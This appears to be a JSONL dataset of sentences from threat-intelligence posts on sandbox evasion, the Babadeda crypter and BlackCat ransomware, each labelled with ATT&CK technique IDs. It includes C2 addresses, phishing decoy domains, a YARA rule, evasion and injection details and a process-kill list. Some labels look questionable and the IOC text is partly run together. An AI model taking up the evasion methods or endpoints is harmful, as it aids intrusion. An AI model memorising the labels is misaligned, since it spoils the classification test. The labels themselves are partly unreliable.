{"sentence": "If the infected file requires specific libraries that are not part of the operating system (OS), then chances are it’s not going to detonate inside a malware analysis sandbox because these dependencies likely won’t be preinstalled in the environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Our sandbox environments are constrained in resources like disk space, and the number of DLL files in the world is seemingly infinite.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Normally, when we run into this situation and the OS loader refuses to execute our file, we are left with no data at all from dynamic analysis.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "File infectors usually call their malicious code very early (e.g., by replacing an early call instruction to their malicious code, or by overwriting the entry point in the PE header) before any function calls from external libraries are ever called.", "labels": ["T1055"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The OS will refuse to load and execute our file, despite the fact that none of the dependencies mattered anyway.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Example File Infector Let’s take a look at one file that has been infected by the Sality malware, which requires external dependencies to run inside a sandbox.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The original file is Groove Audit Service from Microsoft Office, and it requires dependencies from the libraries GrooveNew.dll and GroveUtil.dll (shown in Figure 2).", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "If those two libraries are missing on the system, then the sample won’t be able to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The required dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Sality infected executable compared to the original file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "But if we open both the executables inside IDA Pro, we immediately see that the code at the entry point is totally different compared to the original (shown in Figures 4 and 5, below).", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The malicious code in the infected file is being called right at the entry point and doesn’t require any dependencies to fully infect the system.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "However, because of the required dependencies, regular malware analysis sandboxes won’t be able to run this kind of file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Original entry point.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Mitigating the Dependency Problem What can we do about this dependency problem for analysis at scale?", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Dependency emulation is an approach we’ve recently prototyped and found useful to address this.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The main idea of this approach is to detect this situation automatically, and to adapt our sandbox environment to the files being detonated to ensure executables will have a chance to detonate.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Given the million or so unique Windows executables we process daily, it would be an extremely difficult (if not impossible) task to automatically detect and add the specific external libraries for each executable that required external dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "There are literally hundreds of millions of libraries out there with numerous versions for each, and it’s not really feasible to support providing any arbitrary library in a way that guarantees the intended execution of every sample.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "However, as we’ve discussed in our initial post in this blog series, we often don't need full execution for accurate detection.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The bad news is that, since we aren’t trying to provide actual copies of the required libraries, we can’t correctly simulate the function calls into any of the libraries not present in our environment.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "All things considered, with this approach we've seen a lot of samples detonate that wouldn't otherwise, and we've seen many correct detections.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "VMI SSL/TLS Decryption Another challenge we’ve faced with analyzing malware at scale is how to stealthily spy on TLS encrypted traffic in a way that’s not detectable by the malware.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "As HTTPS and other protocols built on SSL have become increasingly ubiquitous for accessing resources across the internet, it’s not surprising that malware authors also use this protocol for other things, such as pulling down the next stage of their payload, or C2 communications.", "labels": ["T1071.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The problem with this is that it’s detectable by examining and validating TLS certificates.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "It’s also possible to instrument and log calls to some of the higher level networking APIs, but again, this is also detectable in many cases and isn’t going to get us all encrypted communications.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "One solution we’ve found useful for this problem is to detect when TLS connections are being initiated and log the symmetric keys generated for the SSL/TLS connection using virtual machine introspection (VMI).", "labels": ["T1573.001"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Before we look into that detection method, let’s have a quick lesson on TLS handshakes.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "In the case of a Diffie-Hellman (DH) handshake, additional DH parameters are then exchanged, and each side separately calculates a pre-master secret.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Finally, the same master secret key is calculated on each side by utilizing the pre-master secret and the client and server random values.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The calculated master secret is 48 bytes in length.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The key generation happens in memory, so the key is never written to disk and it doesn’t traverse the wire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "By knowing the exact location in code where each master key is generated and precisely where it resides in memory, it is possible to extract the key.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "This can be accomplished with, for example, an analysis engine via virtual machine introspection, which makes a system invisible to the malware.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "An example output, which includes everything needed to decrypt TLS traffic, is shown in Figure 7.", "labels": ["T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Extracted random value and master key.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Conveniently, the open source tool Wireshark/Tshark accepts a keyfile to perform this decryption automatically on collected pcap traffic.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Example SSL Decryption With Wireshark Let's take a look at a real world example of a sample that belongs to the malware family FormBook.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The sample is loaded by a loader written in Delphi, which downloads the next stage from a public file storage service using HTTPS.", "labels": ["T1071.001", "T1105"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The random client value and the master secret key must be stored in a specific file format that Wireshark supports.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "It looks like this: CLIENT_RANDOM", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "For example: Wireshark -r guest_traffic.pcap -o \"ssl.keylog_file:key_capture.keys\" After opening the capture (pcap) in Wireshark, the TLS encrypted data will be decrypted, and we can use the http filter to get the decrypted HTTPS traffic.", "labels": ["T1027", "T1071.001", "T1140"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "This is shown in Figure 8. Figure 8.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Decrypted HTTPS traffic.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Downloaded data from public file storage.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Threats are continually evolving, and architecting analysis systems as more of a flexible, nicely abstracted software development kit instead of a stand-alone monolithic application is crucial.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "With this in mind, we’ve gone over two important ways our platform adaptability has paid off in Advanced WildFire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "With VMI SSL/TLS Decryption, we have visibility into all SSL/TLS communications in a way that isn’t detectable by malware authors.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Once again, if you’ve made it this far, thank you again for reading and we hope you enjoyed this peek into some of the more interesting work we’ve been doing as part of our never-ending endeavor to accurately detect every last malicious file the global internet has to offer us.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Indicators of Compromise SHA-256 Name c5b43b02a62d424a4e8a63b23bef8b022c08a889a15a6ad7f5bf1fd4fe73291f ATMSpitter a3b2de8f0d648f3e157300d0a88971919eb273b7d1c7b9ed023f26b5cc0ac3ca Sality infected file 4e32a6000a2b33ed0b8e4cf1256876c356cf5508ce0df2752fcfa214b6c2795b Formbook (SSL Decryption)", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The cryptocurrency market is now worth more than $2.5 trillion.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Unfortunately, this fact is not lost on threat actors.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "As well as using cryptocurrency themselves to extract ransoms, cybercriminals are now also tailoring malware to exploit the booming market for NFTs and crypto games.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Crucially, the crypter that this campaign deploys, which we have termed Babadeda (a Russian language placeholder used by the crypter itself which translates to “Grandma-Grandpa”), is able to bypass signature-based antivirus solutions.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "For victims, this makes infections highly likely — and dangerous.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Fortunately, however, even as the threat level for cryptocurrency users rises, we also know that Morphisec’s Moving Target Defense technology is capable of both seeing and stopping Babadeda.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In this blog post, we will explore how Babadeda is being delivered, what an in-depth technical analysis of this malware tells us about it, and how it can be stopped.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Crypto and NFT Communities Are Prime Targets Since May 2021, we have observed several malware distribution campaigns.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "However, many of the recent infections we have seen appear to be related to a sophisticated campaign that exclusively targets the Crypto, NFT, and DeFi communities.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It is precisely for this reason, as well as the fact that NFTs are rising in popularity, that we have decided to take a look at this particular campaign distribution in more detail.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "For those who are not familiar with NFTs (Non-fungible token): the term refers to unique tokens that provide proof of ownership on data that is stored on the blockchain technology.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Naturally, this growing trend in the crypto space has opened up a new vector for threat actors to exploit.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The DElivery Chain The vast majority of today's NFT and crypto communities are based on Discord (a group chatting platform) channels.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Discord channels are publicly accessible and allow users to send private messages to one another within a channel.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "In the campaign that we observed, a threat actor took advantage of these features in order to phish victims.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The threat actor sent users a private message inviting them to download a related application that would supposedly grant the user access to new features and/or additional benefits.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Below is an example of a phishing message that targeted users of “Mines of Dalarna”, a PC game built on the blockchain.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 1: Fake message on the discord channel.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 2: Original and decoy sites comparison As you can see from the example above, the threat actor took extended measures to ensure that the delivery chain looks legitimate even to technical users.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The domains are signed with a certificate (via LetsEncrypt), which enables an HTTPS connection.", "labels": ["T1071.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The UI of the decoy pages is very similar to the UI of the original pages.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Upon clicking “Download APP”, the site will generally navigate to /downland.php, which will redirect the download request to a different domain (this makes it less likely that someone will detect a decoy site).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Interestingly, on one of these decoy sites, we noticed an HTML object written in Russian.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Decoy site examples The following table shows a few examples of the decoy sites used in the campaigns we have observed.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": ": Dates Observed RAT C2 11 Nov 2021 - 22 Nov 2021 Remcos 65.21.127.164[:]4449 14 Oct 2021 - 22 Oct 2021 BitRAT 135.181.6.215[:]7777 09 Sep 2021 - 14 Oct 2021 BitRAT 135.181.140.153[:]7777 24 Aug 2021 - 07 Sep 2021 BitRAT 135.181.140.182[:]7777 Technical Analysis of the Babadeda Crypter Figure 4: Execution flow diagram During our research, we found different variants of the same Crypter — all of which contain the same main execution flow (denoted by the figure above).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "While investigating the Crypter, we saw how important it was for the threat actor to hide its malicious intentions inside legitimate applications in order to avoid detection.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The following figure emphasizes the complexity of the evasive techniques that are implemented in the Crypter. Figure 5: Low detection rate on VT The Installer Once downloaded and executed, the malicious installer copies its compressed files into a newly created folder with a legitimate-looking name (i.e., IIS Application Health Monitor) in one of the following directory paths: C:\\Users\\<user>\\AppData\\Roaming\\C:\\Users\\<user>\\AppData\\Local\\ The malicious files are copied along with many other open-source or free application-related files.", "labels": ["T1036.005"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "However, looking at these files carefully it becomes apparent that some of them are suspicious and should be inspected, as shown by the figure below.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 6: The compressed files (malware files selected with stage numbers) Crypter Execution After dropping the mentioned files, the Installer starts execution via the main executable (number 1 in the figure above).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This fake message might be used as a security solutions evasion technique.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 7: Fake error message By analyzing the two different variants, we can see the implementation of this message box: Figure 8: Comparison between variants As we can see in the figure below, the function’s code is much longer compared to the actual DLL loading code.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "That’s because the actor has implanted its actions within a legitimate application code in order to confuse analysts, obfuscate its real intentions, and make it harder for antivirus solutions to detect.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 9: Left - the full function.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Right - the DLL loading code The Shellcode's Loader DLL", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "The threat actor generally embeds the next stages of the execution inside an additional file, usually an XML or a PDF file.", "labels": ["T1027"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Nonetheless, we have also observed additional file types such as JavaScript, Text, and PNG.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We have extracted the relevant sections to clearly demonstrate the malware’s activity: Figure 10: Exported function logic The malicious logic starts by reading the additional file (in this case an XML file) and calling kernel32!Sleep for 35 seconds (the duration changes between variants).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Next, it loads this entire file to memory and starts its parsing task.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 11: The shellcode bytes inside the XML file The executable .text section’s characteristics are configured to RWE (Read-Write-Execute) -- that way the actor doesn't need to use VirtualAlloc or VirtualProtect in order to copy the shellcode and transfer the execution.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Once the shellcode is copied to the executable, the DLL calls to the shellcode’s entry point (shellcode_address).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 14: registry run key persistence implementation The Decryption Shellcode The XML file (or any other file type used by the crypter) contains the following components: The first shellcode (referred to in this section).", "labels": ["T1027", "T1140", "T1547.001"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This configuration holds pointers to the loader shellcode and the final payload; these are encrypted and split inside the XML. Figure 16: Configuration and XML file’s structures Based on this, we can identify the configuration inside the XML file: Figure 17: Configuration structure Using this configuration the malware iterates over each chunk copies it, and decrypts it using the denoted decryption key (the configuration changes between samples).", "labels": ["T1027", "T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It replaces the first placeholder with the address of the decrypted payload and the latter with the size of the payload.", "labels": ["T1140"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "We can divide the loading mechanism into three stages: initialization, injection, and correction.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Initialization This stage is responsible for setting the relevant data that will be used during the injection and correction stages.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Next, it parses the PE headers of the payload to extract the image size and the entry point according to the current executable’s base address.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Finally, it dynamically loads the VirtualProtect function using a pre-calculated hash value (0xF1C25B45 in our case).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "It does so by copying the PE headers and each section according to the current executable’s base address.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Figure 20: Fix tables and remove altering evidence mw_construct_IAT Load GetModuleHandleA, LoadLibraryA and GetProcAddress functions by hash (0x9FE4FCE1, 0x85557334 and 0xF23B576D respectively).", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Iterate over the IAT of the new PE.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Load each function and update its address.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Add the delta to the entry value.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "These steps attempt to evade memory scanners that seek mismatching LDR data and in-memory PEs.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Finally, the malware jumps to the entry point of the newly injected PE with the original command-line arguments.", "labels": ["T1055"], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Targeting cryptocurrency users through trusted attack vectors gives its distributors a fast-growing selection of potential victims.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Once on a victim's machine, masquerading as a known application with a complex obfuscation also means that anyone relying on signature-based malware effectively has no way of knowing Babadeda is on their machine — or of stopping it from executing.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "Mitigating the threat posed by Babadeda requires securing the device memory it targets.", "labels": [], "doc_title": "Babadeda Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "IOCs The sample used in the blog post: File SHA256 Installer 99e6b46a1eba6fd60b9568622a2a27b4ae1ac02e55ab8b13709f38455345aaff difserver.exe 358211210e0bb34dd77073bb0de64bb80723f3434594caf1a95d0ed164ee87a1 libfont-0.6.dll ce3758d494132e7bef7ea87bb8379bb9f4b0c82768d65881139e1ec1838f236c libxml3.dll 0ceead2afcdee2a35dfa14e2054806231325dd291f9aa714af44a0495b677efc menu.xml 080340cb4ced8a16cad2131dc2ac89e1516d0ebe5507d91b3e8fb341bfcfe7d8 YARA Rule rule BABADEDA_Crypter { meta: description = \"Detects BABADEDA Crypter\" author = \"Morphisec labs\" reference = \"https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft--defi-communities\" strings: $entry_shellcode = {55 8B EC 83 EC 58 53 E8 F8 03 00 00 89 45 FC 8B 45 FC 83 C0 11 89 45 CC 8B 45 FC 8B 40 09 8B 4D CC 8D 04} $placeholder_1 = {8138DADEBABA} $placeholder_2 = {8138AFBEADDE} condition: $entry_shellcode and all of ($placeholder_*) } Decoy Domains aave-v3[.]comabracodabra[.]netalchemixfi[.]comapeswaps[.]netapp.sushi-v3[.]comarbitrums[.]comartblocks[.]usastar-network[.]comavalanche-network[.]comavax-bridge[.]comavax-bridge[.]netavax-network[.]netavax.wallet-bridge[.]netavax.wallet-network[.]netavax.wallet-network[.]orgbabydogescoin[.]comboredpeyachtclub[.]combridge-avax[.]combridge-avax[.]netbridge-avax[.]usc-nft[.]netcasper-network[.]comcompoundfinance[.]netcryptoblade[.]netdecentralands[.]netdiviprojects[.]comdydxexchange[.]netgalagamesapp[.]comhedera[.]runilluviums[.]comkeep-network[.]netklimadao[.]netlarva-labs[.]netlarvaslab[.]comlooprings[.]netluckybuddhaluckyclub[.]commangomarkets[.]netmineofdalarnia[.]netmonstasinfinite[.]netmoonebeam[.]comnear-protocol[.]comnetwork-avax[.]netnetwork-avax[.]orgnft-opensee[.]comolympusdao[.]fundopenseaio[.]netopenseea[.]netoptinism[.]netpolkadot-network[.]comprojectseeds[.]netprojectsserum[.]netrareble[.]netrocketspool[.]netsecretswaps[.]netsia-tech[.]netsolanarts[.]comsolsoulnft[.]comsushi-app[.]comsushi-v3[.]comsushi-v3app[.]comterra-money[.]netthetatokenfund[.]comwallet-avalanche[.]comwallet-avalanche[.]netwallet-avalanche[.]orgwallet-avax[.]comwallet-avax[.]infowallet-avax[.]netwallet-bridge[.]netwallet-network[.]netwallet-network[.]orgwa let.bridge-avax[.]uswallet.network-avax[.]orgwonderlaned[.]comzed-run[.]net Hashes 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Crypter hashes amadey stealer 4d02224a7dadfc2d8a1343fdc51e4634a98bd073f867bfd091e667efd112108a384292cad1c05552ccbd691de48865ce75375f7e601db66b3f5cad0f8f294d6c5dd0e9ef811c199a06758d65b66d051d3b0057971b021df0928ede727fe17371e312af68203fd80a2dd86a69460941ce29709424310abffd66fd7323a2b8ef6e Cryptbot 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Crypter targeting crypto NFT and DeFi communities"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary BlackCat (aka ALPHV) is a ransomware family that surfaced in mid-November 2021 and quickly gained notoriety for its sophistication and innovation.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat has taken an aggressive approach to naming and shaming victims, listing more than a dozen on their leak site in a little over a month.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Victims include organizations in the following sectors: construction and engineering, retail, transportation, commercial services, insurance, machinery, professional services, telecommunication, auto components and pharmaceuticals.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Use of BlackCat ransomware has grown quickly for a variety of reasons (for comparison, AvosLocker had only listed a handful of victims publicly within two months of becoming known).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Effective marketing to affiliates is a likely factor – in addition to offering an enticing share of ransom payments, the group has solicited affiliates by posting ads on forums such as Ransomware Anonymous Market Place (RAMP).", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Though this is not the first piece of malware to use Rust, it is one of the first, if not the first, piece of ransomware to use it.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "By leveraging this programming language, the malware authors are able to easily compile it against various operating system architectures.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Given its numerous native options, Rust is highly customizable, which facilitates the ability to pivot and individualize attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The threat actors leveraging BlackCat, often referred to as the \"BlackCat gang,” utilize numerous tactics that are becoming increasingly commonplace in the ransomware space.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Notably, they use multiple extortion techniques in some cases, including the siphoning of victim data before ransomware deployment, threats to release data if the ransom is not paid and distributed denial-of-service (DDoS) attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Due to the surge of this malicious activity, we’ve created this threat assessment for overall awareness.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Table of Contents BlackCat Ransomware OverviewTechnical Details • BlackCat Config • Associated ToolsPost-compromise ActivitiesCourses of ActionConclusionAdditional ResourcesAcknowledgments BlackCat Ransomware Overview Soliciting via known cybercrime forums, BlackCat is seeking affiliates to deploy its ransomware.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Affiliates keep an 80-90% share of the ransom payment, with the remainder going to the BlackCat author.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These affiliates are interviewed and vetted before being accepted into the RaaS group.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Once the affiliate is confirmed, they are given unique access to a Tor-based control panel that hosts the affiliate’s access.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Along with the control panel, a name and shame blog is also hosted, targeting victims who have either ignored or refused to pay the ransom.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "This site has been regularly updated with new victims since the initial discovery of the group.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "As of December 2021, BlackCat has the seventh largest number of victims listed on their leak site among ransomware groups tracked by Unit 42 – impressive considering that this group has only been publicly known since November 2021.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Leak site/name and shame blog statistics, December 2021.Using the leak site information, we can understand the location and types of victims affected by BlackCat attacks.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Figure 2 breaks down the victims by country.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "However, the so-far sporadic spread of the attacks may indicate a somewhat opportunistic approach, as with most contemporary ransomware families.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "Rust programming has gained momentum due to its fast and high performance, powerful web application development, low overhead for embedded programming, and memory management resolution.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "In an effort to maintain longevity, the use of the --access-token flag is required to execute the ransomware, which can make it harder to analyze in sandboxed environments.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "These evasion techniques are used in an effort to impair or disable system defenses as well as to stop certain applications that may lock files open on disk, causing problems when trying to encrypt them.", "labels": ["T1562.001"], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "BlackCat attempts to kill several processes and services to hinder or prevent security solutions and backups.", "labels": [], "doc_title": "Threat Assessment BlackCat Ransomware"}
{"sentence": "The process list checked is as follows: agntsvc, dbeng50, dbsnmp, encsvc, excel, firefox, infopath, isqlplussvc, msaccess, mspub, mydesktopqos, mydesktopservice, notepad, ocautoupds, ocomm, ocssd, onenote, oracle, outlook, powerpnt, sqbcoreservice, sql, steam, synctime, tbirdconfig, thebat, thunderbird, visio, winword, wordpad, xfssvccon, *sql*, bedbh, vxmon, benetns, bengien, pvlsvr, beserver, raw_agent_svc, vsnapvss, CagService, QBIDPService, QBDBMgrN, QBCFMonitorService, SAP, TeamViewer_Service, TeamViewer, tv_w32, tv_x64, CVMountd, cvd, cvfwd, CVODS, saphostexec, saposcol, sapstartsrv, avagent, avscc, DellSystemDetect, EnterpriseClient, VeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc", "labels": ["T1057"], "doc_title": "Threat Assessment BlackCat Ransomware"}
